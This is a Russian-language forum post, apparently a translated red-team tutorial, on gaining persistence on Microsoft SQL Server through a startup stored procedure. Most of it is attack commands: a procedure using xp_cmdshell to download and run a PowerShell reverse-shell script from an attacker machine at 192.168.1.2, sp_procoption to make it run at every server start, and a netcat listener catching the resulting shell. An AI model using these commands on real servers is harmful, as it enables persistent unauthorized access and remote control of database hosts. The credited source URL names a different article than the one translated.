• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья MSSQL для пентестера: персистенс на основе хранимых процедур

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
В этой статье мы узнаем один из многих способов добиться персистентности на серверах SQL. Эта статья является дополнением к нашей серии MSSQL для пентестеров.

Обретение персистентности - один из важных шагов при выполнении операций Red Team. И при выполнении таких операций на MSSQL есть возможности добиться персистентности с помощью запускаемых хранимых процедур, триггеров и ключей реестра. Если у вас есть привилегии пользователя и базы данных, то добиться персистентности несложно. Персистентность может быть более незаметным, если экземпляр запускается через пользователя домена.

Чтобы получить персистентность с помощью запускаемых хранимых процедур, злоумышленник должен иметь права системного администратора. И еще один важный момент: эта хранимая процедура должна находиться в базе данных master. Если sa не владеет хранимыми процедурами, они не будут иметь входных и выходных параметров, что означает, что они не будут перезапущены с сервером, что приведет к нарушению всей цепочки персистентности.

Итак, давайте начнем и посмотрим, как добиться персистентности с помощью запускаемых хранимых процедур.

Во-первых, предположим, что xp_cmdshell включен, поэтому теперь мы вызовем основную базу данных, используя следующий запрос:

USE master
GO

1641205460442.png


Теперь мы загрузим скрипт однострочник PowerShell на нашу атакующую машину с помощью wget, как показано на изображении ниже:
1641205468954.png


Теперь в сценарии поменяйте местами заданный IP-адрес с вашим локальным хостом и локальным портом с помощью команды cat. После переключения IP-адреса разрешите серверу python делиться сценарием PowerShell на целевой машине, как показано на изображении ниже:

1641205477325.png


Теперь давайте создадим хранимую процедуру, которая будет вызывать сценарий PowerShell с онлайн-сервера python и делать это, используя следующий запрос:

CREATE PROCEDURE test_sp
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://192.168.1.2/Invoke-PowerShellTcpOneLine.ps1'')"'
GO


1641205494534.png


Теперь мы переместим эту хранимую процедуру в режим запуска, потому что мы хотим, чтобы она выполнялась сама по себе, как только сервер запускается. И сделаем это с помощью следующего запроса:

EXEC sp_procoption @ProcName = 'test_sp'
, @OptionName = 'startup'
, @OptionValue = 'on';

1641205512115.png


Теперь у нас есть хранимая процедура при запуске, которую вы можете подтвердить с помощью следующего запроса:

SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;

1641205539378.png


Давайте включим наш прослушиватель Netcat, как показано на изображении ниже:

1641205551678.png


Теперь осталось только перезапустить сервер. А чтобы перезапустить сервер, щелкните его правой кнопкой мыши и выберите опцию остановки в раскрывающемся меню, как показано на изображении ниже:

1641205560173.png


Затем снова щелкните сервер правой кнопкой мыши и выберите параметр запуска из раскрывающегося меню, как показано на изображении ниже:
1641205568683.png


После перезапуска сервера у вас будет сеанс на netcat.

1641205577625.png


Итак, вот как можно добиться локальной персистентности с помощью запускаемых хранимых процедур.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-ole-automation/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх